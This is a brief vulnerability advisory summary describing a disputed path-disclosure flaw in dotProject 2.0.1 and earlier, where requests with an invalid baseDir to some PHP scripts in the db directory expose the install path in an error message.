Summary

dotProject 2.0.1 and earlier allows remote attackers to obtain sensitive information via direct requests with an invalid baseDir to certain PHP scripts in the db directory, which reveal the path in an error message. NOTE: the vendor disputes this issue, saying that it could only occur if the administrator ignores the installation instructions as well as warnings generated by check.php
